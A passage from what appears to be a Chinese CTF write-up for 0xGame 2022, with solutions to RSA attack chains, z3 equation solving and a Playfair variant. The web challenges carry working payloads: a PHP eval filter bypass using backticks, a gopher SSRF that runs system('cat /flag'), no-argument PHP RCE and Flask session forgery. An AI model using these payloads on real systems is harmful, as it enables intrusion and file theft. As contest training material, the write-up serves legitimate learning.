s.add(x[0] * 832094402 + x[1] * 3314572044 + x[2] * 488868442 + x[3] * 1841935151 + x[4] * 1171324799 + x[5] * 3471299188 + x[6] * 2551569670 + x[7] * 2706142177 + x[8] * 1413270141 + x[9] * 2799345217 + x[10] * 1736078138 + x[11] * 2640026379 + x[12] * 3309523775 + x[13] * 708228019 + x[14] * 187736002 + x[15] * 104108754 + x[16] * 2004810 + x[17] * 3509194834 + x[18] * 1101418726 + x[19] * 3213850540 + x[20] * 3057147817 + x[21] * 2872087805 + x[22] * 2543533871 + x[23] * 1405445933 + x[24] * 3453063846 + x[25] * 4186228310 + x[26] * 2620809382 + x[27] * 2719800494 + x[28] * 2919918455 + x[29] * 216899503 + x[30] * 2182290754 + x[31] * 674368800 == 146513328826081369964)
s.add(x[0] * 3379659353 + x[1] * 31185134 + x[2] * 2705610804 + x[3] * 1311536103 + x[4] * 660262997 + x[5] * 1502856668 + x[6] * 826236852 + x[7] * 1397745099 + x[8] * 2502632519 + x[9] * 3208481979 + x[10] * 2304290531 + x[11] * 315497265 + x[12] * 997141305 + x[13] * 1495605164 + x[14] * 1363724399 + x[15] * 228866868 + x[16] * 2175251957 + x[17] * 3389971630 + x[18] * 3635887769 + x[19] * 1257419666 + x[20] * 1525795938 + x[21] * 3607149798 + x[22] * 3014126932 + x[23] * 3279147474 + x[24] * 298781431 + x[25] * 459143014 + x[26] * 219295357 + x[27] * 1281424290 + x[28] * 57884126 + x[29] * 3878979772 + x[30] * 2624360304 + x[31] * 2540908447 == 125780026597502848309)
s.add(x[0] * 4141491113 + x[1] * 388348346 + x[2] * 2889238267 + x[3] * 3733701272 + x[4] * 1601705709 + x[5] * 1456475651 + x[6] * 948577705 + x[7] * 697474119 + x[8] * 3725363803 + x[9] * 3494425037 + x[10] * 2404375304 + x[11] * 1395091741 + x[12] * 2014936811 + x[13] * 3226479938 + x[14] * 97991957 + x[15] * 2571009732 + x[16] * 2169251700 + x[17] * 445613394 + x[18] * 3338254578 + x[19] * 3100217642 + x[20] * 450233404 + x[21] * 1452263534 + x[22] * 3323263008 + x[23] * 1281259019 + x[24] * 2881501240 + x[25] * 3853647762 + x[26] * 3872612425 + x[27] * 3625904675 + x[28] * 28491161 + x[29] * 837865088 + x[30] * 3019749606 + x[31] * 3755559168 == 145685276087861502602)
s.add(x[0] * 868978565 + x[1] * 1880902698 + x[2] * 2147687639 + x[3] * 3919867658 + x[4] * 1156685196 + x[5] * 1258174623 + x[6] * 985400361 + x[7] * 2158611251 + x[8] * 1736758238 + x[9] * 1949766062 + x[10] * 2648425083 + x[11] * 675668374 + x[12] * 1793502003 + x[13] * 1336203958 + x[14] * 915529071 + x[15] * 1122262796 + x[16] * 4218938706 + x[17] * 3220340687 + x[18] * 36734 + x[19] * 3241657248 + x[20] * 2771578913 + x[21] * 29182553 + x[22] * 50755641 + x[23] * 1762070976 + x[24] * 3306888932 + x[25] * 2636754670 + x[26] * 3631173493 + x[27] * 1644653937 + x[28] * 2618008158 + x[29] * 4191824826 + x[30] * 3192806718 + x[31] * 2190278270 == 144549374105911908218)
s.add(x[0] * 136541182 + x[1] * 2398358896 + x[2] * 2797311504 + x[3] * 2901208986 + x[4] * 2703442703 + x[5] * 2774784461 + x[6] * 2896299321 + x[7] * 3629629347 + x[8] * 2661198340 + x[9] * 2375796526 + x[10] * 2881309577 + x[11] * 3914693638 + x[12] * 2474743366 + x[13] * 1451731319 + x[14] * 2469518941 + x[15] * 585788456 + x[16] * 1081804477 + x[17] * 533018429 + x[18] * 1414204985 + x[19] * 3497925490 + x[20] * 3647335419 + x[21] * 1664992968 + x[22] * 1447923481 + x[23] * 3405490146 + x[24] * 249505201 + x[25] * 2233596994 + x[26] * 1410924969 + x[27] * 2337291136 + x[28] * 1379480160 + x[29] * 744913417 + x[30] * 2626213460 + x[31] * 433230044 == 152842832971821875727)
s.add(x[0] * 1014008577 + x[1] * 39181748 + x[2] * 1609902830 + x[3] * 63541537 + x[4] * 1956421427 + x[5] * 2909152377 + x[6] * 3644591420 + x[7] * 2245163593 + x[8] * 4286399149 + x[9] * 1403326636 + x[10] * 2505241388 + x[11] * 3866291259 + x[12] * 2191815293 + x[13] * 3790086170 + x[14] * 3670225237 + x[15] * 4242912516 + x[16] * 3946904107 + x[17] * 1837747940 + x[18] * 3855688508 + x[19] * 562956386 + x[20] * 890540326 + x[21] * 3159132292 + x[22] * 2704578526 + x[23] * 2105117563 + x[24] * 3103140980 + x[25] * 1827417523 + x[26] * 483250618 + x[27] * 3611418104 + x[28] * 876993421 + x[29] * 1524092496 + x[30] * 1409341189 + x[31] * 3793036452 == 171784010999187327978)
s.add(x[0] * 766382107 + x[1] * 1796925795 + x[2] * 2252539335 + x[3] * 349697888 + x[4] * 2128341206 + x[5] * 237551020 + x[6] * 3435605863 + x[7] * 3509292666 + x[8] * 2464261299 + x[9] * 3708905227 + x[10] * 306252195 + x[11] * 1348134057 + x[12] * 872885862 + x[13] * 3230301891 + x[14] * 4223976431 + x[15] * 2129576385 + x[16] * 184274380 + x[17] * 1339568775 + x[18] * 240471204 + x[19] * 4208060501 + x[20] * 3866337301 + x[21] * 1736393059 + x[22] * 4084431732 + x[23] * 3779198617 + x[24] * 3474528562 + x[25] * 3227302577 + x[26] * 1764448184 + x[27] * 1745641228 + x[28] * 3436861592 + x[29] * 3395770976 + x[30] * 3381022139 + x[31] * 297539769 == 159926095018550107875)
s.add(x[0] * 2905996883 + x[1] * 3368852349 + x[2] * 2813356621 + x[3] * 482055211 + x[4] * 1197172847 + x[5] * 731391015 + x[6] * 2945886565 + x[7] * 3467015148 + x[8] * 537949256 + x[9] * 2535535996 + x[10] * 1176357138 + x[11] * 3396182730 + x[12] * 2858025536 + x[13] * 3563590525 + x[14] * 4141138247 + x[15] * 3391692063 + x[16] * 2595437915 + x[17] * 234965395 + x[18] * 1117742031 + x[19] * 3427440116 + x[20] * 3558609028 + x[21] * 112305692 + x[22] * 238895413 + x[23] * 2820696874 + x[24] * 1930124190 + x[25] * 2904137135 + x[26] * 3600773562 + x[27] * 54663135 + x[28] * 968260380 + x[29] * 2500702039 + x[30] * 3005295995 + x[31] * 4136599497 == 147261348508848582047)
s.add(x[0] * 3421877383 + x[1] * 444332646 + x[2] * 3066582397 + x[3] * 410262930 + x[4] * 2799546449 + x[5] * 2190731430 + x[6] * 3607309350 + x[7] * 2329930437 + x[8] * 2678982918 + x[9] * 2797446341 + x[10] * 3884979666 + x[11] * 757321735 + x[12] * 272692453 + x[13] * 1039573000 + x[14] * 1106227562 + x[15] * 1967995121 + x[16] * 3818641657 + x[17] * 2958463100 + x[18] * 693634090 + x[19] * 4116131146 + x[20] * 3604001650 + x[21] * 1238373233 + x[22] * 3200266845 + x[23] * 3957996712 + x[24] * 3653451723 + x[25] * 2961370342 + x[26] * 3043337802 + x[27] * 1398445668 + x[28] * 3133330721 + x[29] * 679074840 + x[30] * 3563156569 + x[31] * 176796959 == 167538035640995956562)
s.add(x[0] * 3407463393 + x[1] * 2954388381 + x[2] * 3398321376 + x[3] * 703750584 + x[4] * 719140271 + x[5] * 4255500079 + x[6] * 683637205 + x[7] * 3659297114 + x[8] * 618688496 + x[9] * 2469121759 + x[10] * 3644135823 + x[11] * 1311631006 + x[12] * 3732181084 + x[13] * 2946211492 + x[14] * 3723132383 + x[15] * 1325756630 + x[16] * 568937023 + x[17] * 3359219977 + x[18] * 2395244206 + x[19] * 4246808660 + x[20] * 2956191019 + x[21] * 494313100 + x[22] * 3493565032 + x[23] * 2125356358 + x[24] * 293383341 + x[25] * 2881003778 + x[26] * 1563660838 + x[27] * 2562578871 + x[28] * 4144554067 + x[29] * 22718298 + x[30] * 2390441161 + x[31] * 3851902251 == 149364132975709163594)
s.add(x[0] * 3700867328 + x[1] * 162482258 + x[2] * 172681360 + x[3] * 673608768 + x[4] * 3896952374 + x[5] * 1606330254 + x[6] * 2557779118 + x[7] * 2839188805 + x[8] * 789655247 + x[9] * 3424210560 + x[10] * 100545829 + x[11] * 3936538736 + x[12] * 1653944730 + x[13] * 2102833767 + x[14] * 3306727712 + x[15] * 599821842 + x[16] * 2700883336 + x[17] * 2593372272 + x[18] * 4217672760 + x[19] * 1547041783 + x[20] * 3434126938 + x[21] * 356726724 + x[22] * 3095721683 + x[23] * 2932731911 + x[24] * 4136374907 + x[25] * 730165508 + x[26] * 3627218359 + x[27] * 2518974159 + x[28] * 3248668960 + x[29] * 1495203249 + x[30] * 2284224748 + x[31] * 1790575076 == 139010541840838007430)

s.check()
print(s.model())
from hashlib import md5

x = [0] * 32

x[6] = 4217977576
x[3] = 763601920
x[31] = 75034618
x[4] = 1653708118
x[5] = 2433063826
x[12] = 2984323532
x[13] = 2502694787
x[23] = 3977926013
x[10] = 4089088412
x[15] = 1806361262
x[0] = 89155365
x[16] = 4041026542
x[14] = 417461604
x[17] = 1690492554
x[22] = 1908777079
x[24] = 2553491708
x[21] = 2258589262
x[25] = 2361686047
x[18] = 1842407621
x[1] = 3795653268
x[11] = 974751512
x[27] = 3782713824
x[19] = 3241492534
x[29] = 4130286729
x[9] = 1970630923
x[30] = 12709818
x[28] = 42128790
x[8] = 3519663525
x[2] = 783620457
x[7] = 1709775682
x[20] = 2467028824
x[26] = 483149607

s = 0

for i in x:
    s += i

print('0xGame{' + md5(str(s).encode()).hexdigest() + '}')

flag 0xGame{d23caedc66301966094bf8968610f61f}

hint 是 共模攻击、模不互素、多素数相乘下φ(n)的计算、低指数小明文攻击

task.py

from Crypto.Util.number import *
from secret import flag, hint

# part1
print('part1:')
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 5
c = pow(m, e, n)
print(f'n = {n}')

# part2
print('part2:')
m = c
while True:
    p = getPrime(256)
    q = 2 * p - 1
    if isPrime(q):
        break
r = getPrime(256)
n = (p ** 2) * (q ** 3) * r
q = 2 * p - 1
r = n // p // p // q // q // q
phi = p * (p - 1) * (q ** 2) * (q - 1) * (r - 1)
e = 0x10001
c = pow(m, e, n)
e = 0x10001
d = inverse(e, phi)
print(f'p = {p}')
print(f'n = {n}')

# part3
print('part3:')
m = c
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x10001
c = pow(m, e, n)
print(f'n1 = {n}')
m_hint = bytes_to_long(hint)
p = getPrime(1024)
n = p * q
e = 0x10001
c_hint = pow(m_hint, e, n)
print(f'n2 = {n}')
print(f"c_hint = {c_hint}")

# part4
print('part4:')
m = c
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e1 = 823
e2 = 827
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f'n = {n}')

output.txt

part1:
n = 61553578635593130900790335104330199899957479107753805370559935381319176517030435621892644394851110367233510867782247563759513582241371585326815640128560441855543132415804452658372689998329770879189234308679763515840663749100256299294925802306716380006559943335403696300844219318648209424221864526219684170323
part2:
p = 74447194261899797806331260065953660447629801256490828189012933613329970709947
n = 2041966692549961348577589156815535814894383939477573453736803458531176718024423820279431442431002038195467272680340686126482697016165252765359529302961780051654184833220756878301874978169377654737275593641180065950107522278461981853325163973125649755001647509934635714847722574876087513598188126414206128734529793608240092700267723049259261257688980084854149645269724715087902044253045061617087644418347545737251946830621974361352738393315774363456001260686286821
part3:
n1 = 15366889088720206462365176683482533771475038765899922246304161568426870328374352417380396654231031838308606185501644949132930223566330052875527300069440013396537288642394243440572453780188595977438549563350553795220825285867086201710340271331833567314282717818053503639202601281184963886414311276063351370392514246631613915966530559511182811214902930142301497062642020127200767773575622874178491764524627735580808973946630814640241598316693375333001863979963200190532552021172069905740730777328461596141791691176984619646698097163144730290275304802207549132742312305772773347199117833216411732334271813533947587335221
n2 = 20183388181244396840270604971327234348871288822322010757845683437514931959842693524118522620332345907816190233979463740070942867621461314257682562161455669676863270809215109867553547955455891544244660598280541169460595995979836132666968548336872337169229971614320624540103986072146724866807104701652693664361940168493838397000924419632475639380887065784985415455805447197724730216369636562749194600089463165474701372926961338986138771964038560621556333104655430975405632113198088493779517573588399048423998920358946322913978731589449991564968387399262236393754348689348364331583617892656413994899504317963936066746711
c_hint = 12120021785410200674936083975068492622806596845579817711207411931311673622528683733295899555542821765486413339677732337051154734922381291549341456901391897097071173557362462670207940577864049130086490199471016266752247947028119300006197925597902468232113412106835719324155978933609953160168249853647848792919491609758205614794158719549005912914647125869214028842543301994189007931419280489270222524804427348611393246242401221829752270244371023220680417679183759839375701147795748353616923267194525565792165688787118410950596647945293284284065635467684624433860537889580808687549562010274639326086182100555438472928477
part4:
c1 = 9078361566243923931453433235655548442655855925297849762834170634279782440176386162361175845447411925452440536363885489221360776073555926463975255326905638922390565414284680629357799512527773691276009031423377599372917213698291316223269863185821983356471150336545331992444135470581201015592546934895803603233714496806375582266021488376740973566067971171377376696739676668351989078245768566579430312381789763928896787230892629854943142188671250203690237420561985562568939519395990646242000804771019311031994084798126248041633375710435071152701495690196067180826646094418362227966248990190779434700525127330999576205403
c2 = 12177776162003265214893575222194987257070438203909939490896524118455743796605830818003435519762848552272241059418403518390909966083445568223047769437125388741650260643855866243844976422365885347004481452172768271389384606695863524445386834984939563686335088776216144173923094121825197018225369010379704707231069719085315847868962939479004164733530937883272062497573804335640040429427002585027258509179962910923328842082991111693056946212131251751202352180633674002081181776189622240094621381950470130292188270896292285264623566756488080661579679026084947009907677214940302660119264003701359714404829438298116109098858
n = 14030240067066681750909588505308848034761783265133340312144652793728120334984848299676691973630997860228334585084780567142583267241508872459495746147465287012511207543757701482011894061407632686585952604039659614267570771869230862091904009290811411173144016039144680108997615936869263338253711107240318817354345905789041695601640084081957736966556648022765868913061143917752122990399785349647514452618248194426911284810212654925532788132854712772334295140032083665199391450057318155421959795859937645872080008934829472830347990643737088885491045934515364200316439381396296113975664305689878031662485528015544354270191

这题要从下往上解, 从 part4 解到 part1, 因为在 task.py 中从上到下进行加密时, 上一步的 c 是下一步的 m

参考文章 https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_module_attack/#_7

参考工具 https://github.com/kur0mi/CTF-RSA

part4 是共模攻击

# coding=utf-8

"""
选择相同的模 n 加密相同的信息 m

"""
import sys
sys.setrecursionlimit(10000000)

helpstr = '''
usage:
    c1 = m ^ e1 % n
    c2 = m ^ e2 % n
'''


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)


def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


def main():
    print(helpstr)
    n = 14030240067066681750909588505308848034761783265133340312144652793728120334984848299676691973630997860228334585084780567142583267241508872459495746147465287012511207543757701482011894061407632686585952604039659614267570771869230862091904009290811411173144016039144680108997615936869263338253711107240318817354345905789041695601640084081957736966556648022765868913061143917752122990399785349647514452618248194426911284810212654925532788132854712772334295140032083665199391450057318155421959795859937645872080008934829472830347990643737088885491045934515364200316439381396296113975664305689878031662485528015544354270191
    c1 = 9078361566243923931453433235655548442655855925297849762834170634279782440176386162361175845447411925452440536363885489221360776073555926463975255326905638922390565414284680629357799512527773691276009031423377599372917213698291316223269863185821983356471150336545331992444135470581201015592546934895803603233714496806375582266021488376740973566067971171377376696739676668351989078245768566579430312381789763928896787230892629854943142188671250203690237420561985562568939519395990646242000804771019311031994084798126248041633375710435071152701495690196067180826646094418362227966248990190779434700525127330999576205403
    c2 = 12177776162003265214893575222194987257070438203909939490896524118455743796605830818003435519762848552272241059418403518390909966083445568223047769437125388741650260643855866243844976422365885347004481452172768271389384606695863524445386834984939563686335088776216144173923094121825197018225369010379704707231069719085315847868962939479004164733530937883272062497573804335640040429427002585027258509179962910923328842082991111693056946212131251751202352180633674002081181776189622240094621381950470130292188270896292285264623566756488080661579679026084947009907677214940302660119264003701359714404829438298116109098858
    e1 = 823
    e2 = 827
    s = egcd(e1, e2)
    s1 = s[1]
    s2 = s[2]
    # 求模反元素
    if s1 < 0:
        s1 = - s1
        c1 = modinv(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = modinv(c2, n)
    m = (c1**s1)*(c2**s2) % n
    print(m)


if __name__ == '__main__':
    main()

结果如下

2938057459236097702829546874845663383452853869020057762679135487968176657293042835573779697101215428407852116936214740983538867551483705519758957972331191729735724117396417478453978310150732874394242281120629941710539689365919070809625065025418669949759214559104657797336705529467079967490430927511525012725230658782223330267367700390800367562121238814129807692926027338504190736908314844881686550159791607521100449567876718252870874691541674241485712904989800106781755968066449559195162333313852848742763909493142048384900365903132589437833241859719857935259557039915750511530121023151477267605022419723385193140551

part3 是模不互素, 即可以通过 n1 n2 的公约数来求 p q, 从而解出明文

#coding: utf-8

def gcd(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        temp = a % b
        a = b
        b = temp
    return a


n1 = 15366889088720206462365176683482533771475038765899922246304161568426870328374352417380396654231031838308606185501644949132930223566330052875527300069440013396537288642394243440572453780188595977438549563350553795220825285867086201710340271331833567314282717818053503639202601281184963886414311276063351370392514246631613915966530559511182811214902930142301497062642020127200767773575622874178491764524627735580808973946630814640241598316693375333001863979963200190532552021172069905740730777328461596141791691176984619646698097163144730290275304802207549132742312305772773347199117833216411732334271813533947587335221
n2 = 20183388181244396840270604971327234348871288822322010757845683437514931959842693524118522620332345907816190233979463740070942867621461314257682562161455669676863270809215109867553547955455891544244660598280541169460595995979836132666968548336872337169229971614320624540103986072146724866807104701652693664361940168493838397000924419632475639380887065784985415455805447197724730216369636562749194600089463165474701372926961338986138771964038560621556333104655430975405632113198088493779517573588399048423998920358946322913978731589449991564968387399262236393754348689348364331583617892656413994899504317963936066746711

print "p = "+str(gcd(n1, n2))
print "q1 = "+str(n1/gcd(n1, n2))
print "q2 = "+str(n2/gcd(n1, n2))

结果如下

p = 137800596550469037013606018504223473745051767225401702560930758049699573992305687984974339263357720726086411204856545768879128765766141513864882520890813475534702701526251353021309563858440190827873850296217190508414602020843815367072219297768465570833226200494248404565358092977991937990352450476042826798001
q1 = 111515403223179309310953093185435361430027224729392135618835085412425670614087933945534087858296169153466489104620333039033117439491598955447462925183151562881300096457102371167781867501616732093416328252830004058743079580183656766537812353344443151022879598112279812993993332634648407986790314118737218977221
q2 = 146468075512665100226255324763389711324957670919273661172898343147813506347944395043280812181287998146676721148470260517162704586205619522210911904562191269387994664151046806341624690610731630210375559681689870601341951647417191153130350302267884955405418135191218595029132045340173524769600202469122549368711

然后写个脚本求 d, 进而解出 m

import gmpy2

p = 137800596550469037013606018504223473745051767225401702560930758049699573992305687984974339263357720726086411204856545768879128765766141513864882520890813475534702701526251353021309563858440190827873850296217190508414602020843815367072219297768465570833226200494248404565358092977991937990352450476042826798001

q1 = 111515403223179309310953093185435361430027224729392135618835085412425670614087933945534087858296169153466489104620333039033117439491598955447462925183151562881300096457102371167781867501616732093416328252830004058743079580183656766537812353344443151022879598112279812993993332634648407986790314118737218977221
q2 = 146468075512665100226255324763389711324957670919273661172898343147813506347944395043280812181287998146676721148470260517162704586205619522210911904562191269387994664151046806341624690610731630210375559681689870601341951647417191153130350302267884955405418135191218595029132045340173524769600202469122549368711

n1 = 15366889088720206462365176683482533771475038765899922246304161568426870328374352417380396654231031838308606185501644949132930223566330052875527300069440013396537288642394243440572453780188595977438549563350553795220825285867086201710340271331833567314282717818053503639202601281184963886414311276063351370392514246631613915966530559511182811214902930142301497062642020127200767773575622874178491764524627735580808973946630814640241598316693375333001863979963200190532552021172069905740730777328461596141791691176984619646698097163144730290275304802207549132742312305772773347199117833216411732334271813533947587335221
n2 = 20183388181244396840270604971327234348871288822322010757845683437514931959842693524118522620332345907816190233979463740070942867621461314257682562161455669676863270809215109867553547955455891544244660598280541169460595995979836132666968548336872337169229971614320624540103986072146724866807104701652693664361940168493838397000924419632475639380887065784985415455805447197724730216369636562749194600089463165474701372926961338986138771964038560621556333104655430975405632113198088493779517573588399048423998920358946322913978731589449991564968387399262236393754348689348364331583617892656413994899504317963936066746711

e = 0x10001
c = 2938057459236097702829546874845663383452853869020057762679135487968176657293042835573779697101215428407852116936214740983538867551483705519758957972331191729735724117396417478453978310150732874394242281120629941710539689365919070809625065025418669949759214559104657797336705529467079967490430927511525012725230658782223330267367700390800367562121238814129807692926027338504190736908314844881686550159791607521100449567876718252870874691541674241485712904989800106781755968066449559195162333313852848742763909493142048384900365903132589437833241859719857935259557039915750511530121023151477267605022419723385193140551
phi_n1 = (p - 1) * (q1 - 1)

d1 = gmpy2.invert(e, int(phi_n1))
m = pow(c, int(d1), n1)

print(m)

求出来 m 如下

1311435642608916353954349439785040760286548434252667862462138388336691600546189699131679844043377277549947660668581894804663872010481955625222373602770261499938389662614091519376869432000619395672926110710397184783122722734006970318599542313571993948142355190472512713883398393968755827721462594359703041594475889273778713862593171011826151407969009361496169330793403602291363610687734085420517139167805583532396010753886519450642591699326353471457244082561693140

part2 根据 hint 猜测是 多素数相乘下φ(n)的计算

output.txt 中给出的信息已经足够多了, 直接就可以算出来 q r phi

import gmpy2

p = 74447194261899797806331260065953660447629801256490828189012933613329970709947
n = 2041966692549961348577589156815535814894383939477573453736803458531176718024423820279431442431002038195467272680340686126482697016165252765359529302961780051654184833220756878301874978169377654737275593641180065950107522278461981853325163973125649755001647509934635714847722574876087513598188126414206128734529793608240092700267723049259261257688980084854149645269724715087902044253045061617087644418347545737251946830621974361352738393315774363456001260686286821
c = 1311435642608916353954349439785040760286548434252667862462138388336691600546189699131679844043377277549947660668581894804663872010481955625222373602770261499938389662614091519376869432000619395672926110710397184783122722734006970318599542313571993948142355190472512713883398393968755827721462594359703041594475889273778713862593171011826151407969009361496169330793403602291363610687734085420517139167805583532396010753886519450642591699326353471457244082561693140
q = 2 * p - 1
r = n // p // p // q // q // q
phi = p * (p - 1) * (q ** 2) * (q - 1) * (r - 1)
e = 0x10001

d = gmpy2.invert(e, phi)
m = pow(c, int(d), n)

print(m)

结果如下

35046020801990880995657841882194609599113633798737390028556249579436282005901126921492978081577212664055354428541565076901934287291981412624875959822341871222459470096146427507651183556921621614698674484335036188050856067974604549356491993994884068994826677682022314348605604678569320276995407007162297780643

part1 就是小指数明文攻击, 因为 e=5

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = 'ByStudent'
from gmpy2 import iroot

n = 61553578635593130900790335104330199899957479107753805370559935381319176517030435621892644394851110367233510867782247563759513582241371585326815640128560441855543132415804452658372689998329770879189234308679763515840663749100256299294925802306716380006559943335403696300844219318648209424221864526219684170323
e = 5
c = 35046020801990880995657841882194609599113633798737390028556249579436282005901126921492978081577212664055354428541565076901934287291981412624875959822341871222459470096146427507651183556921621614698674484335036188050856067974604549356491993994884068994826677682022314348605604678569320276995407007162297780643

i = 0
while 1:
    res = iroot(c+i*n, e)
    if res[1]:
        print(res)
        break
    print("[-] i = " + str(i))
    i = i+1

求出来 m 如下

77888028579296633178521454553482348398571313408605656372703101

最后再 long_to_bytes, 得出的 flag 为 0xGame{rsa-----just_so_so}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091412914.png

自己写的脚本跑的时间挺长的, 有点尴尬…

找了个 go 版本的工具

https://github.com/hydewww/sha256-go

输入正确之后会让你求 s t, 直接用 z3

from z3 import *

solver = Solver()

a = 8048
b = 17583
c = 1

s = Int('s')
t = Int('t')

solver.add(a * s + b * t == c)
print(solver.check())
print(solver.model())

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091420009.png

没用到 pwntools, 不过手速快点问题也不大 (被打)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210131505963.png

参考文章 https://ctf-wiki.org/crypto/classical/polyalphabetic/#playfair

playfair 加密, 密码表从 5x5 改成了 6x6, 但是思路是差不多的

基本原理如下

  1. 选取一串英文字母,除去重复出现的字母,将剩下的字母逐个逐个加入 5 × 5 的矩阵内,剩下的空间由未加入的英文字母依 a-z 的顺序加入。注意,将 q 去除,或将 i 和 j 视作同一字。
  2. 将要加密的明文分成两个一组。若组内的字母相同,将 X(或 Q)加到该组的第一个字母后,重新分组。若剩下一个字,也加入 X 。
  3. 在每组中,找出两个字母在矩阵中的地方。
    • 若两个字母不同行也不同列,在矩阵中找出另外两个字母(第一个字母对应行优先),使这四个字母成为一个长方形的四个角。
    • 若两个字母同行,取这两个字母右方的字母(若字母在最右方则取最左方的字母)。
    • 若两个字母同列,取这两个字母下方的字母(若字母在最下方则取最上方的字母)。

按照上面的倒推即可

先拆分成两两一组

3u Mg kg gk ly js 47 xg 0m x3

然后根据规则, 对应密码表找出整理后的明文

0x Ga me em mx mp1a yf 4i rx

之后去掉 x, 连在一起

0xGame emmmp1ayf4ir

最后加上大括号就是 flag

0xGame{emmmp1ayf4ir}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151046466.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151046514.png

thinkphp v6.0.13

存在 www.zip, 下载解压

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151049743.png

/app/controller/Page.php

<?php
namespace app\controller;

use app\BaseController;

class Page extends BaseController
{
    public function hello()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> hello my friend!:)' .  '<br/><span style="font-size:30px;"><del>不记得几载了</del>初心不改 - 你值得信赖的新手入门比赛</span></p><span style="font-size:25px;">[ 由 <a href="https://0xgame.h4ck.fun/home" target="yisu">0xGame</a> 独家赞助发布 ]</span></div><think id="ee9b1aa918103c4fc"></think>';
    }


    public function evil()
    {   
        
        if(isset($_GET['f'])){
            $f=$_GET['f'];
            if(preg_match('/\(|\)/',$f)){
                return self::hello();
            }
            eval($f);
       }else return self::hello();
    }
        
}

代码执行, 过滤了括号, 可以换成反引号来执行命令

注意一下 thinkphp 的 url 格式

http://47.96.3.142:8849/public/index.php/Page/evil?f=echo `cat /flag`;

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151050920.png

<?php 
error_reporting(1);
highlight_file(__FILE__);
$url=$_GET['url'];
if(preg_match('/127|dict|file|ftp|localhost|0.0.0.0/',$url)){
  die('想都别想');
}//evil.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
echo $output;

Linux 环境下可以用 0 绕过

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151052397.png

evil.php

<?php
error_reporting(1);
if('127.0.0.1'!=$_SERVER['REMOTE_ADDR']){
    die('Allow local only');
}
if('GET' === $_SERVER['REQUEST_METHOD']){
  highlight_file(__FILE__);
  die('Invalid request mode');
}
if(isset($_POST['c'])){
    $c=$_POST['c'];
    if(preg_match('/[^\W_]+\((?R)?\)/',$c)){
      eval($c);
    }
    else die('nonono');
}

不能用 get 访问, 那么换成 post, 这里很明显考察的是利用 gopher 协议进行 ssrf

import re
import urllib.parse

payload = 'c=phpinfo();'
data = f'''POST /evil.php HTTP/1.1
Host: 0:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(payload)}

{payload}
'''
data = urllib.parse.quote(data)
strinfo = re.compile('%0A',re.I)
new = strinfo.sub('%0D%0A', data)
new = 'gopher://0:80/_' + new + '%0D%0A'
new = urllib.parse.quote(new)
print(new)

记得加上 Connection: close, 不然会一直卡住

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151105599.png

然后就是无参数 rce

c=eval(end(current(get_defined_vars())));

get 传递 d=system('whoami');

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151107157.png

查看 flag

gopher%3A//0%3A80/_POST%2520/evil.php%253Fd%253Dsystem%2528%2527cat%2520/flag%2527%2529%253B%2520HTTP/1.1%250D%250AHost%253A%25200%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252041%250D%250A%250D%250Ac%253Deval%2528end%2528current%2528get_defined_vars%2528%2529%2529%2529%2529%253B%250D%250A%250D%250A

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151107055.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151108903.png

看名字猜出来是 flask session 伪造

输入 {{config}} 得到 secretkey

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151109521.png

cookie decode 之后的结构如下

{"id":"flag in /admin","user":"nobody"}

user 改成 admin, id 改成 0

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151111092.png

最后访问 /admin

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151112478.png

app.js

var express = require('express');
const { exec } = require('child_process');


var app = express();
app.use(express.json()); 
app.use(express.urlencoded({ extended:true })); 
var user = {};
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return true;
}

app.get('/time', (req, res) => { 

        let time = {
            "cmd1": "uptime",
        };
        for (let cmd in time) {
            exec(time[cmd], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
	        });
        }
        res.send('time is a bi*ch')
})

app.post('/gotit', (req, res) => {
	var client = req.body;
    if(JSON.stringify(client)!=='{}'){
        console.log(client);
        for(key in Object.keys(user.__proto__)){
